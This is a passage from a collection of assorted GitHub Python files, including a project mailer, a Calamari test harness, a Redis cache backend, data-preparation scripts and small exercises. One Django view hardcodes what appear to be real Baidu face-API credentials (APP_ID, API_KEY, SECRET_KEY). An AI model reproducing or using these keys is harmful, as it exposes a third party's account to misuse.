are needed, you can simply change your project's status back to \"active\" and click \"Update Project\" for a new expiration timestamp to be generated.\n \n This email was generated as of {time}.\n \n Sincerely,\n SIPB ProjectDB service bot\n \"\"\".format(name=project_info['name'],\n time=current_time,\n policy_num_days=EXPIRATION_BY_NUM_DAYS,\n num_days=num_days_left,\n url= BASE_EDIT_URL + str(project_info['project_id']))\n \n recipients = get_point_of_contacts(project_info) #No need to spam approvers with reminders\n send(recipients,SERVICE_EMAIL,subject,msg)\n\n\ndef send_deactivation_message(project_info):\n \"\"\"Send a message to the project contact(s) informing them that their\n project's status has been set to \"inactive\" and will no longer appear on\n the list of active projects.\n \"\"\"\n current_time = datetime.now().strftime(\"%H:%M:%S on %m/%d/%Y\")\n subject = \"[NOTICE] SIPB project '{name}' has been marked as inactive\".format(name=project_info['name'])\n msg = \"\"\"\n Dear {name}'s project team,\n \n This is a notice to let you know that your project has automatically been marked as \"inactive\" on the SIPB projects website. This is because your group has failed to update your project listing prior to the expiration data.\n \n Per SIPB's policy, we require that project maintainers update their submitted project info at least every {policy_num_days} days make sure the information it contains is correct. The expiration date is calculated from the last time an edit was made to the project.\n \n We ask that you review the project information displayed on the SIPB projects website and make any edits as necessary.\n \n You can edit your project using the following link:\n {url}\n \n Note: If no edits are needed, you can simply change your project's status back to \"active\" and click \"Update Project\" for a new expiration timestamp to be generated.\n \n This email was generated as of {time}.\n \n Sincerely,\n SIPB ProjectDB service bot\n \"\"\".format(name=project_info['name'],\n time=current_time,\n policy_num_days=EXPIRATION_BY_NUM_DAYS,\n url= BASE_EDIT_URL + str(project_info['project_id'])) \n \n recipients = get_point_of_contacts(project_info) + [APPROVERS_LIST]\n send(recipients,SERVICE_EMAIL,subject,msg)\n","repo_name":"sipb/project-database","sub_path":"web_scripts/mail.py","file_name":"mail.py","file_ext":"py","file_size_in_byte":12052,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"7550236755","text":"from subprocess import CompletedProcess\n\nfrom dataclasses import dataclass\nfrom typing import Any, Optional\n\n\nclass ProcessOutput:\n __slots__ = (\"command\", \"error\", \"output\", \"error_rules_group\")\n\n command: str\n\n error: bool\n output: str\n\n error_rules_group: Any\n\n def __init__(\n self,\n command: str,\n output: CompletedProcess,\n error_rules_group: Optional[Any] = None,\n ):\n self.command = command\n self.error = False\n self.output = (output.stderr or output.stdout).decode()\n self.error_rules_group = error_rules_group\n\n if output.returncode != 0:\n self.error = True\n\n elif error_rules_group is not None:\n error_rules_group.check(self)\n\n\n# This class should be used when there's no error occurred and output have positive results\n@dataclass(slots=True, eq=False, repr=False)\nclass SanitizedProcessOutput:\n command: str\n output: str\n","repo_name":"ANoneTypeOn/ScriptStrap","sub_path":"modules/executors/basic/process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":951,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"3367071555","text":"from ConfigParser import ConfigParser\nimport glob\nimport logging\nimport os\nimport shutil\nimport socket\nimport subprocess\nimport xmlrpclib\nimport signal\nimport errno\nimport psutil\nimport yaml\nfrom requests import ConnectionError\nfrom tests.http_client import AuthenticatedHttpClient\nfrom tests.utils import wait_until_true, WaitTimeout\nfrom tests.config import TestConfig\nfrom nose.exc import SkipTest\n\nlog = logging.getLogger(__name__)\n\n# Assumes running nosetests from root of git repo\nTREE_ROOT = os.path.abspath(\"./\")\n\nconfig = TestConfig()\n\n# We scale this linearly with the number of fqdns expected\nKEY_WAIT_PERIOD = 10\n\n\nclass CalamariControl(object):\n \"\"\"\n Interface for tests to control the Calamari server under test.\n\n This can either be controlling a development mode instance running\n as an unprivileged user right here with the tests, or a full production\n installation running on a dedicated host.\n \"\"\"\n\n def __init__(self):\n log.info(\"CalamariControl.__init__\")\n self._api = None\n\n def start(self):\n raise NotImplementedError()\n\n def stop(self):\n raise NotImplementedError()\n\n @property\n def api_url(self):\n if config.has_option('testing', 'api_url'):\n return config.get('testing', 'api_url')\n return 'https://{0}/api/v2/'.format(self.get_calamari_node())\n\n @property\n def api_username(self):\n return config.get('testing', 'api_username')\n\n @property\n def api_password(self):\n return config.get('testing', 'api_password')\n\n @property\n def api(self):\n if self._api is None:\n log.info(\"Initializing API\")\n api = AuthenticatedHttpClient(\n self.api_url,\n self.api_username,\n self.api_password)\n api.login()\n self._api = api\n\n return self._api\n\n def clear_keys(self):\n r_keys = self.api.get(\"key\")\n r_keys.raise_for_status()\n for key in r_keys.json():\n r = self.api.delete(\"key/%s\" % key['id'])\n r.raise_for_status()\n\n def authorize_keys(self, minion_ids):\n pass\n\n def configure(self, no_clusters=True):\n \"\"\"\n Assert some aspects of the server state, fixing up\n if possible, else raising an exception.\n\n Tests call this to say \"I need calamari to be\n up and running\" or \"I need calamari to be offline\n initially\" or \"I need calamari to initially have\n no clusters\" or \"I need calamari to initially have\n no pools\".\n\n The idea is that tests generally can\n be quite liberal about the starting state of\n the system, but specific about the things that\n will affect the validity of their checks.\n\n A badly behaved calamari instance can break this: the only\n way to get around that is to provision a fully fresh instance\n for each test.\n \"\"\"\n pass\n\n\nclass EmbeddedCalamariControl(CalamariControl):\n \"\"\"\n Runs a dev-mode calamari server by invoking supervisord directly\n \"\"\"\n def __init__(self):\n super(EmbeddedCalamariControl, self).__init__()\n self._ps = None\n self._rpc = None\n self._first = True\n\n def _available(self):\n try:\n status = self._rpc.supervisor.getState()\n return status['statename'] == 'RUNNING'\n except socket.error:\n return False\n except xmlrpclib.Fault:\n raise\n\n def _services_up(self):\n ps_info = self._rpc.supervisor.getAllProcessInfo()\n if not ps_info:\n return False\n\n up = True\n for ps in ps_info:\n if ps['statename'] != 'RUNNING':\n up = False\n log.debug(\"Service %s not up yet\" % ps['group'])\n\n if up:\n log.info(\"All services running: %s\" % [p['group'] for p in ps_info])\n\n return up\n\n def _api_connectable(self):\n \"\"\"\n Return true if we can complete an HTTP request without\n raising ConnectionError.\n \"\"\"\n try:\n self.api.get(\"auth/login/\")\n except ConnectionError:\n return False\n else:\n return True\n\n def restart(self):\n processes = [ps['group'] for ps in self._rpc.supervisor.getAllProcessInfo()]\n for ps in processes:\n self._rpc.supervisor.stopProcessGroup(ps)\n for ps in processes:\n self._rpc.supervisor.startProcessGroup(ps)\n wait_until_true(self._services_up)\n\n def start(self):\n\n def _is_stale(ps):\n names = [\"bin/salt-master\",\n \"bin/supervisord\",\n \"bin/cthulhu-manager\",\n \"calamari/manage.py\",\n \"bin/carbon-cache.py\"]\n\n try:\n cmdline = ps.cmdline()\n except psutil.AccessDenied:\n return False\n\n if not cmdline:\n return False\n\n if \"bin/python\" not in cmdline[0]:\n return False\n\n for c in cmdline:\n for name in names:\n if c.endswith(name):\n log.error(\"Stale {0} process: {1}\".format(\n name, ps.pid\n ))\n return True\n\n return False\n\n if self._first:\n log.info(\"EmbeddedCalamariControl.start: clearing down salt\")\n self._first = False\n # Clean out the salt master's caches to mitigate any confusion from continually removing\n # and adding servers with the same FQDNs.\n erase_paths = [\"dev/var/cache/salt/master/*\", \"dev/var/run/salt/master/*\", \"dev/etc/salt/pki/*\"]\n for path in erase_paths:\n for f in glob.glob(os.path.join(TREE_ROOT, path)):\n if os.path.isdir(f):\n shutil.rmtree(f)\n else:\n os.unlink(f)\n\n lingering_salt = [p for p in psutil.process_iter() if _is_stale(p)]\n for p in lingering_salt:\n log.warn(\"Killing stale process: %s\" % p.pid)\n p.kill()\n\n config_path = os.path.join(TREE_ROOT, \"dev/supervisord.conf\")\n assert os.path.exists(config_path)\n self._ps = subprocess.Popen(\n [\"supervisord\", \"-n\", \"-c\", config_path],\n cwd=os.path.abspath(TREE_ROOT),\n stdout=open(\"supervisord.out.log\", 'w'),\n stderr=open(\"supervisord.err.log\", 'w')\n )\n if not self._ps:\n raise RuntimeError(\"Failed to launch supervisor\")\n\n config = ConfigParser()\n config.read(config_path)\n xmlrpc_addr = config.get('inet_http_server', 'port')\n self._rpc = xmlrpclib.ServerProxy(\"http://%s/RPC2\" % xmlrpc_addr)\n\n try:\n # Wait for supervisor to start responding to RPC\n wait_until_true(self._available)\n\n # Wait for all supervisor's children to start\n wait_until_true(self._services_up)\n except:\n # Ensure that failures during startup do not leave a\n # zombie supervisor process\n log.error(\"Exception during setup, killing supervisor\")\n self._ps.send_signal(signal.SIGINT)\n try:\n wait_until_true(lambda: self._ps.poll() is not None)\n except WaitTimeout:\n log.error(\"Supervisor isn't dying, sending it KILL\")\n self._ps.send_signal(signal.SIGKILL)\n self._ps.wait()\n raise\n\n # The calamari REST API goes through a brief period between process\n # startup and servicing connections\n wait_until_true(self._api_connectable)\n\n # Calamari REST API will return 503s until the backend is fully up\n # and responding to ZeroRPC requests.\n wait_until_true(lambda: self.api.get(\"cluster\").status_code != 503, timeout=30)\n\n # Because we are embedded, we should act like a fresh instance\n # and not let any old keys linger\n self.clear_keys()\n\n def stop(self):\n log.info(\"%s.stop\" % self.__class__.__name__)\n if self._ps:\n try:\n self._ps.send_signal(signal.SIGINT)\n except OSError as e:\n if e.errno == errno.ESRCH:\n return\n else:\n raise\n else:\n stdout, stderr = self._ps.communicate()\n rc = self._ps.wait()\n if rc != 0:\n raise RuntimeError(\"supervisord did not terminate cleanly: %s %s %s\" % (rc, stdout, stderr))\n\n def get_calamari_node(self):\n return 'localhost'\n\n\nclass ExternalCalamariControl(CalamariControl):\n \"\"\"\n Already got a calamari instance running, and you want to point\n the tests at that? Use this class.\n \"\"\"\n def __init__(self):\n super(ExternalCalamariControl, self).__init__()\n with open(config.get('testing', 'external_cluster_path')) as f:\n self.cluster_config = yaml.load(f)\n\n def start(self):\n pass\n\n def stop(self):\n pass\n\n def restart(self):\n raise SkipTest('I don\\'t reset external calamari')\n\n def _find_node_with_role(self, role):\n for target, roles in self.cluster_config['cluster'].iteritems():\n if role in roles['roles']:\n return target.split('@')[1]\n\n def get_calamari_node(self):\n # legislate that 'client.0' is the calamari server, a fairly-\n # common assumption within teuthology.\n # XXX maybe this should be \"calamari_server\" in the config\n # so there's less ambiguity? The only real special thing\n # is that the ceph task sets up a client key for 'client.*'.\n return self._find_node_with_role('client.0')\n","repo_name":"ceph/calamari","sub_path":"tests/calamari_ctl.py","file_name":"calamari_ctl.py","file_ext":"py","file_size_in_byte":9899,"program_lang":"python","lang":"en","doc_type":"code","stars":350,"dataset":"github-code","pt":"48"} +{"seq_id":"74903905745","text":"from base import BaseStorage, KeyError\nimport redis\n\n#connection pool format should be: (options, connection object)\n__connection_pool__ = None\n\nclass Storage(BaseStorage):\n def __init__(self, cache_manager, options):\n \"\"\"\n options =\n unix_socket_path = '/tmp/redis.sock'\n or\n connection_pool = {'host':'localhost', 'port':6379, 'db':0}\n \"\"\"\n BaseStorage.__init__(self, cache_manager, options)\n\n self._type = (int, long)\n \n if 'unix_socket_path' in options:\n self.client = redis.Redis(unix_socket_path=options['unix_socket_path'])\n else:\n global __connection_pool__\n \n if not __connection_pool__ or __connection_pool__[0] != options['connection_pool']:\n d = {'host':'localhost', 'port':6379}\n d.update(options['connection_pool'])\n __connection_pool__ = (d, redis.ConnectionPool(**d))\n self.client = redis.Redis(connection_pool=__connection_pool__[1])\n \n def get(self, key):\n v = self.client.get(key)\n if v is not None:\n if not v.isdigit():\n return self._load(v)\n else:\n return int(v)\n else:\n raise KeyError(\"Cache key [%s] not found\" % key)\n \n def set(self, key, value, expiry_time):\n if not isinstance(value, self._type):\n v = self._dump(value)\n else:\n v = value\n r = self.client.setex(name=key, value=v, time=expiry_time)\n return r\n \n def delete(self, key):\n self.client.delete(key)\n return True\n \n def inc(self, key, step, expiry_time):\n pipe = self.client.pipeline()\n r = pipe.incr(key, step).expire(key, expiry_time).execute()\n return r[0]\n \n def dec(self, key, step, expiry_time):\n pipe = self.client.pipeline()\n r = pipe.decr(key, step).expire(key, expiry_time).execute()\n return r[0]\n \n ","repo_name":"limodou/uliweb","sub_path":"uliweb/lib/weto/backends/redis_storage.py","file_name":"redis_storage.py","file_ext":"py","file_size_in_byte":2021,"program_lang":"python","lang":"en","doc_type":"code","stars":467,"dataset":"github-code","pt":"48"} +{"seq_id":"20768579251","text":"from django.http import HttpResponse\nfrom aip import AipFace\nimport base64\n\n\"\"\" 你的 APPID AK SK \"\"\"\nAPP_ID = '15459757'\nAPI_KEY = 'TeflwgR9RxI8haND8HI1atao'\nSECRET_KEY = 'GaXWynsGRBGGeCPfAAwkSTnutDK3I7ti'\n\nclient = AipFace(APP_ID, API_KEY, SECRET_KEY)\n\nprint(client)\n\n\n# print(result[\"result\"]['face_list'])\n\ndef hello(request):\n \"\"\" 读取图片 \"\"\"\n # E:\\Picture\\image\n # f = open('image/jjw.jpeg', 'rb')\n f = open('E:/Picture/image/xy2.jpg', 'rb')\n\n image = base64.b64encode(f.read())\n\n image64 = str(image, 'utf-8')\n\n image_type = \"BASE64\"\n\n \"\"\" 如果有可选参数 \"\"\"\n # noinspection PyDictCreation\n options = {}\n options[\"face_field\"] = \"age,beauty,expression,gender,race\"\n options[\"max_face_num\"] = 1\n options[\"face_type\"] = \"LIVE\"\n\n # result = client.detect(image64, image_type, {\"face_field\": \"beauty\"})\n result = client.detect(image64, image_type, options)\n\n print(result)\n\n return HttpResponse(\"Hello world ! \")\n\n\ndef cat(request):\n \"\"\" 读取图片 \"\"\"\n\n return HttpResponse(\"Hello cat ! \")\n","repo_name":"oumingyuan/animal","sub_path":"animal/controller/HelloController.py","file_name":"HelloController.py","file_ext":"py","file_size_in_byte":1066,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"11304691272","text":"\"\"\"A tiny English to Spanish dictionary is created,\nusing the Python dictionary type dict.\n\"\"\"\n\ndef createDictionary():\n spanish = dict()\n spanish['hello'] = 'hola'\n spanish['yes'] = 'si'\n spanish['one'] = 'uno'\n spanish['two'] = 'dos'\n spanish['three'] = 'tres'\n spanish['red'] = 'rojo'\n spanish['black'] = 'negro'\n spanish['green'] = 'verde'\n spanish['blue'] = 'azul'\n return spanish\n\ndef main():\n dictionary = createDictionary()\n numberFormat = \"Count in Spanish: {one}, {two}, {three}, ...\"\n withSubstitutions = numberFormat.format(**dictionary)\n print(withSubstitutions)\n print(\"Spanish colors: {red}, {blue}, {green}, ...\".format(**dictionary))\n\n## numberFormat = 'Count in Spanish: {one}, {two}, {three}, ...'\n## withSubstitutions = numberFormat.format(one='uno', two='dos', three='tres')\n## print(withSubstitutions) \n\nmain()\n","repo_name":"ogratton/Python-basics","sub_path":"6 Dictionaries/2c Spanish Dictionary.py","file_name":"2c Spanish Dictionary.py","file_ext":"py","file_size_in_byte":893,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"23115918985","text":"import json\nimport os\nimport pickle\nimport sys\nimport time\n\nfrom utils import add_special_tokens\n\n#tokenizer = GPT2Tokenizer.from_pretrained('gpt2')\ndm_single_close_quote = '\\u2019' # unicode\ndm_double_close_quote = '\\u201d'\n# acceptable ways to end a sentence\nEND_TOKENS = ['.', '!', '?', '...', \"'\", \"`\", '\"',\n dm_single_close_quote, dm_double_close_quote, \")\"]\n\n\ndef fix_missing_period(line):\n \"\"\"Adds a period to a line that is missing a period\"\"\"\n if \"@highlight\" in line:\n return line\n if line == \"\":\n return line\n if line[-1] in END_TOKENS:\n return line\n return line + \" .\"\n\n\ndef get_art_abs(lines):\n \"\"\" return as list of sentences\"\"\"\n\n # truncated trailing spaces, and normalize spaces\n lines = [' '.join(line.strip().split()) for line in lines]\n lines = [fix_missing_period(line) for line in lines]\n\n # Separate out article and abstract sentences\n article_lines = []\n highlights = []\n next_is_highlight = False\n for idx, line in enumerate(lines):\n if line == \"\":\n continue # empty line\n elif line.startswith(\"@highlight\"):\n next_is_highlight = True\n elif next_is_highlight:\n highlights.append(line)\n else:\n article_lines.append(line)\n return ' '.join(article_lines), ' '.join(highlights)\n\n\ndef write_json(i,article, abstract):\n\t\"\"\" Saves a json file.\"\"\"\n\n\tfile = \"./gpt2_1024_data/\"+str(i)+\".json\"\n\tjs_example = {}\n\tjs_example['id'] = i\n\tjs_example['article'] = article\n\tjs_example['abstract'] = abstract\n\twith open(file, 'w') as f:\n\t\tjson.dump(js_example, f, ensure_ascii=False)\n\n\ndef main(file_names, directory):\n\t\"\"\" Reads txt files, extract articles and summaries, tokenize them and save as json files\n\t\tArgs:\n\t\t\tfile_names: list, all the articles with total no of tokens less than 1024\n\t\t\tdirectory: string, directory where files in file_names is stored\n\t\"\"\"\n\ttokenizer = add_special_tokens()\n\tprint(\"Execution Started...\")\n\ttrain_ids = []\n\tfile_id_map = {}\n\ti = 0\n\tfor file in file_names:\n\t\tfile = os.path.join(os.getcwd(),directory,file)\n\t\twith open(file,'r',encoding='utf-8') as f:\n\t\t\tlines = f.read().split('\\n\\n')\n\t\tarticle, abstract = get_art_abs(lines)\n\t\tarticle, abstract = tokenizer.encode(article), tokenizer.encode(abstract)\n\t\tif len(article)>0 and len(abstract)>0 and (len(article)+len(abstract))<=1023:\n\t\t\ttrain_ids.append(i)\n\t\t\twrite_json(i,article,abstract)\n\t\t\tfile_id_map[i] = os.path.basename(file).replace('.story', '')\n\t\t\ti += 1\n\t\t\tif i%100==0:\n\t\t\t\tprint(i, \" files written\")\n\n\n\tx,y = int(len(train_ids)*0.8), int(len(train_ids)*0.9)\n\tvalid_ids = train_ids[x:y]\n\ttest_ids = train_ids[y:]\n\ttrain_ids = train_ids[:x]\n\twith open(\"ids.json\",'w') as f:\n\t\tjs = {}\n\t\tjs['train_ids'] = train_ids\n\t\tjs['valid_ids'] = valid_ids\n\t\tjs['test_ids'] = test_ids\n\t\tjson.dump(js,f)\n\n\t# file_id_map maps the json file ids to actual cnn/dm file names ending with \".story\"\n\tprint(\"saving file_id_map...\")\n\twith open(\"file_id_map.pickle\", 'wb') as f:\n\t\tpickle.dump(file_id_map,f)\n\tprint(\"file_id_map saved.\")\n\n\nif __name__ == '__main__':\n\tstart = time.time()\n\twith open(sys.argv[1],'rb') as f:\n\t\tfile_sizes = pickle.load(f)\n\tfile_names = [file for file,size in file_sizes.items() if size<=1023] #only consider files with total no of tokens less than 1024\n\tif sys.argv[1].startswith(\"cnn\"):\n\t\tdirectory = \"cnn_stories_tokenized\"\n\t\tos.chdir('/CNN/')\n\telse:\n\t\tdirectory = \"dm_stories_tokenized\"\n\t\tos.chdir('./DM/')\n\tmain(file_names, directory)\n\tprint(\"total_time_taken: \", (time.time()-start)/60, \" minutes\")","repo_name":"SKRohit/Generating_Text_Summary_With_GPT2","sub_path":"prepare_data.py","file_name":"prepare_data.py","file_ext":"py","file_size_in_byte":3568,"program_lang":"python","lang":"en","doc_type":"code","stars":156,"dataset":"github-code","pt":"48"} +{"seq_id":"15501341359","text":"#This is a program written to explore the functionality of git by building a program from scratch\nimport numpy as np\nimport time\n\n#Useful operators\ndef projUV(U,V):\n vu=np.dot(V,U)\n uu=np.dot(U,U)\n proj = (float(vu)/uu)*U\n time.sleep(30)\n return proj\n\n\n\n\n\n\n\n\n\ndef GS_2vectors(*argv):\n for arg in argv:\n U=arg-np.sum()","repo_name":"HankSeametrics/Gram-Schmidt","sub_path":"GS.py","file_name":"GS.py","file_ext":"py","file_size_in_byte":342,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"38291995139","text":"age = int(input('Hur gammal är du? '))\n\n\nif age < 15:\n print('Okej så du är kvar i grundskolan, då var det inget')\n\nif age < 16:\n input('Har du redan fyllt eller går du i gymnasiet ')\n\n ","repo_name":"johnhjernestam/John_Hjernestam_TE19C","sub_path":"introkod_syntax/Annat/year.py","file_name":"year.py","file_ext":"py","file_size_in_byte":200,"program_lang":"python","lang":"sv","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"71098684947","text":"import json\nfrom unittest.mock import Mock\nfrom unittest.mock import patch as mock_patch\n\nfrom fastapi.testclient import TestClient\nfrom pymysql import IntegrityError\n\nfrom server import app\nfrom models import owner as Owner\n\n\nclient = TestClient(app)\n\nclass TestAddOwner():\n def test_add_owner(self):\n Owner.add = Mock(side_effect = lambda name: None)\n mock_owner = json.dumps({\"name\": \"Mina\", \"town\": \"Zedon\"})\n response = client.post(\"/owners\", data=mock_owner)\n result = response.json()\n assert response.status_code == 201\n assert result == {\"status\": \"Success. Added Owner\"}\n\n def test_add_existing_owner(self):\n mock_owner = json.dumps({\"name\": \"Limy\", \"town\": \"Zedon\"})\n Owner.add = Mock(side_effect = [None, IntegrityError])\n\n client.post(\"/owners\", data=mock_owner)\n response = client.post(\"/owners\", data=mock_owner)\n result = response.json()\n\n assert response.status_code == 409\n assert \"Error\" in result\n\nclass TestGetPokemons(object):\n @mock_patch('models.owner.get_pokemons')\n def test_chamander_owners(self, get_pokemons):\n mock_trainers = [\"Giovanni\", \"Jasmine\"]\n get_pokemons.return_value = mock_trainers\n\n response = client.get(\"/owners?pokemon_name=charmander\")\n result = response.json()\n\n assert response.status_code == 200\n for trainer in mock_trainers:\n assert trainer in result\n\n Owner.get_pokemons.reset_mock()\n print(Owner.get_pokemons)\n print(Owner.get_pokemons.return_value)\n","repo_name":"Elevationacademy/pokemon-pytest-example","sub_path":"tests/test_owner.py","file_name":"test_owner.py","file_ext":"py","file_size_in_byte":1579,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"707210233","text":"import os\nimport csv\nfrom tqdm import tqdm\nfrom deepface import DeepFace\n\ndef create_FaceFeatures(folders_path):\n embeddings = []\n for folder_path in folders_path:\n for img_path in tqdm(os.listdir(folder_path)):\n embedding = DeepFace.represent(img_path = f\"{folder_path}/{img_path}\", model_name = 'ArcFace', enforce_detection=False)\n embedding.insert(0, folder_path)\n embeddings.append(embedding)\n \n with open('FaceFeatures.csv', 'w', encoding='UTF8', newline='') as f:\n writer = csv.writer(f)\n # write multiple rows\n writer.writerows(embeddings)","repo_name":"MehrdadNajafi/Deep-Learning","sub_path":"Assignment 42/face_features.py","file_name":"face_features.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"48"} +{"seq_id":"39164103842","text":"import pdb\ndef read_data_from_db(stm, etm, station_id=None, time_res=\"1\"):\n \"\"\" reads data (time resolution set by rime_res) from an sqlite3 db\n for a period of time (set by stm and etm) for a given station_id.\n \n Parameters\n ----------\n stm : datetime.datetime\n The start time\n etm : datetime.datetime\n The end time\n station_id : int, default to None\n The station id. If set to None, data fro all the stations will be read.\n time_res : str\n Time resolution.\n \n Returns\n -------\n pandas.DataFrame\n \"\"\"\n\n import sqlite3\n import pandas as pd\n \n # construct db name and table name\n db_name = \"../data/sampled_data.sqlite\"\n table_name = \"time_res_\" + str(time_res) + \"min\"\n\n # make db connection\n conn = sqlite3.connect(database=db_name)\n\n if station_id is not None:\n # check whehter the user provided station_id actually exists\n command = \"SELECT DISTINCT station_id from {tb}\".format(tb=table_name)\n ids = conn.cursor().execute(command).fetchall()\n valid_id = station_id in [x[0] for x in ids]\n\n # if station_id is None then return data for all the stations\n if station_id is None:\n sql = \"SELECT * FROM {tb} WHERE \"\n sql = sql + \"DATETIME(time) BETWEEN '{stm}' and '{etm}'\"\n sql = sql.format(tb=table_name, stm=stm, etm=etm)\n \n # if station_id is not None then return data if station_id is valid\n else:\n if valid_id:\n sql = \"SELECT * FROM {tb} WHERE station_id={station_id} AND \"\n sql = sql + \"(DATETIME(time) BETWEEN '{stm}' and '{etm}')\"\n sql = sql.format(tb=table_name, station_id=station_id, stm=stm, etm=etm)\n else:\n print(\"invalid station_id, please choose a correct one. Returning None....\")\n return None\n\n # get the data we want in a pandas DataFrame format\n df = pd.read_sql(sql, conn, index_col=None, coerce_float=True, params=None,\n parse_dates=[\"time\"], columns=None, chunksize=None)\n \n return df\n\ndef test():\n import datetime as dt \n stm = dt.datetime(2013, 9, 1)\n etm = dt.datetime(2013, 10, 1)\n df = read_data_from_db(stm, etm, station_id=2, time_res=\"15\")\n \n return df\n\nif __name__ == \"__main__\":\n df = test()\n","repo_name":"MuhammadVT/bike_sharing","sub_path":"data_preprocessing/reading_tools.py","file_name":"reading_tools.py","file_ext":"py","file_size_in_byte":2309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"74180862544","text":"#!/usr/bin/env python\n\n\nimport os\n\nfrom svn import fs, repos, core\n\n\nFILE = 'file'\nFOLDER = 'folder'\nKIND_MAP = {\n core.svn_node_file: FILE,\n core.svn_node_dir: FOLDER,\n 0: 'empty',\n}\n\n\ndef get_code(path, file_path, rev=None):\n node = SubversionNode(path, file_path, rev)\n if node.kind == FILE:\n return FILE, node.get_file()\n elif node.kind == FOLDER:\n return FOLDER, node.get_nodes()\n else:\n pass # 'error'\n\n\nclass SubversionNode(object):\n\n def __init__(self, path, file_path, rev=None):\n self.file_path = file_path\n self.path = path\n\n repos_path = core.svn_path_canonicalize(\n os.path.normpath(self.path).replace('\\\\', '/')\n )\n svn_repos = repos.svn_repos_open(repos_path)\n fs_ptr = repos.svn_repos_fs(svn_repos)\n if rev:\n self.rev = rev\n else:\n self.rev = fs.youngest_rev(fs_ptr)\n self.root = fs.revision_root(fs_ptr, self.rev)\n self.kind = KIND_MAP[fs.check_path(self.root, self.file_path)]\n self.name = os.path.split(self.file_path)[-1]\n self.cr = fs.node_created_rev(self.root, self.file_path)\n props = fs.revision_proplist(fs_ptr, self.cr)\n self.date = props[core.SVN_PROP_REVISION_DATE]\n self.author = props[core.SVN_PROP_REVISION_AUTHOR]\n self.log = props[core.SVN_PROP_REVISION_LOG]\n\n def get_file(self):\n stream = core.Stream(fs.file_contents(self.root, self.file_path))\n content = stream.read()\n return content\n\n def get_nodes(self):\n entries = fs.dir_entries(self.root, self.file_path)\n for file_path in entries.keys():\n full_file_path = os.path.join(self.file_path, file_path)\n yield SubversionNode(self.path, full_file_path, self.rev)\n","repo_name":"akun/atrac","sub_path":"atrac/versioncontrol/svn/svn_fs.py","file_name":"svn_fs.py","file_ext":"py","file_size_in_byte":1804,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"37200199463","text":"def merge(array, leftIdx, midIdx, rightIdx):\r\n '''\r\n merge func: merge two sorted arr, in sorted func\r\n '''\r\n\r\n leftArray = array[leftIdx: midIdx + 1]\r\n rightArray = array[midIdx + 1: rightIdx + 1]\r\n\r\n leftArrayIdx, rightArrayIdx, mergedArrayIdx = 0, 0, leftIdx\r\n while leftArrayIdx < len(leftArray) and rightArrayIdx < len(rightArray):\r\n if leftArray[leftArrayIdx] < rightArray[rightArrayIdx]:\r\n array[mergedArrayIdx] = leftArray[leftArrayIdx]\r\n leftArrayIdx += 1\r\n else:\r\n array[mergedArrayIdx] = rightArray[rightArrayIdx]\r\n rightArrayIdx += 1\r\n mergedArrayIdx += 1\r\n\r\n while leftArrayIdx < len(leftArray):\r\n array[mergedArrayIdx] = leftArray[leftArrayIdx]\r\n leftArrayIdx += 1\r\n mergedArrayIdx += 1\r\n\r\n while rightArrayIdx < len(rightArray):\r\n array[mergedArrayIdx] = rightArray[rightArrayIdx]\r\n rightArrayIdx += 1\r\n mergedArrayIdx += 1\r\n\r\n\r\ndef mergeSort(array, leftIdx, rightIdx):\r\n '''\r\n Time O(NlogN) | Space O(N)\r\n Algorithmic Paradigm: Divide and Conquer\r\n Sorting In Place: No in a typical implementation\r\n Stable: Yes \r\n\r\n Adv:\r\n\r\n Dis:\r\n Extra memory O(N)\r\n It goes through the whole process even if the array is sorted.\r\n Slower comparative to the other sort algorithms for smaller tasks.\r\n '''\r\n if leftIdx >= rightIdx:\r\n return\r\n\r\n midIdx = leftIdx + (rightIdx - leftIdx) // 2\r\n\r\n mergeSort(array, leftIdx, midIdx)\r\n mergeSort(array, midIdx + 1, rightIdx)\r\n merge(array, leftIdx, midIdx, rightIdx)\r\n\r\n\r\narray = [3, 7, 1, 33, -12, 4, 12, 99, -6]\r\nmergeSort(array, 0, len(array) - 1)\r\nprint(array)\r\n","repo_name":"punisher21maximum/MyDSAVault","sub_path":"Algorithms/Sort/5_mergeSort.py","file_name":"5_mergeSort.py","file_ext":"py","file_size_in_byte":1700,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"2294186430","text":"'''2、 猜数字游戏 计算出一个1~100之间的随机数由人来猜,计算机跟进人猜的数字进行对比,给出提示大一点,小一点,如果猜对了则结束游戏'''\n\nimport random\n\n\ndef Digit_Game():\n computer_num = random.randint(1, 100)\n while True:\n your_num = int(input('请输入1-100的整数!'))\n if your_num < computer_num:\n print(\"大一点!\")\n elif your_num > computer_num:\n print(\"小一点!\")\n else:\n print(\"恭喜你猜对了!\")\n break\n\n\nif __name__ == '__main__':\n Digit_Game()\n","repo_name":"zcling001/Hogwarts-homework1","sub_path":"hw0307/digit game.py","file_name":"digit game.py","file_ext":"py","file_size_in_byte":608,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"17854192986","text":"import json\nfrom io import BytesIO\n\nimport requests\nfrom bs4 import BeautifulSoup\nfrom dateutil import parser\n\nfrom captcha import Captcha\nfrom encoder import DateTimeEncoder\n\nHOME_URL = \"http://www.indiapost.gov.in/speednettracking.aspx\"\nCAPTCHA_URL = \"http://www.indiapost.gov.in/captcha.aspx\"\nROOT_URL = \"http://www.indiapost.gov.in/\"\n\n\nclass Tracker:\n def __init__(self):\n self.POST_DATA = {}\n\n self.session = requests.Session()\n home_response = self.session.get(HOME_URL)\n\n dom = 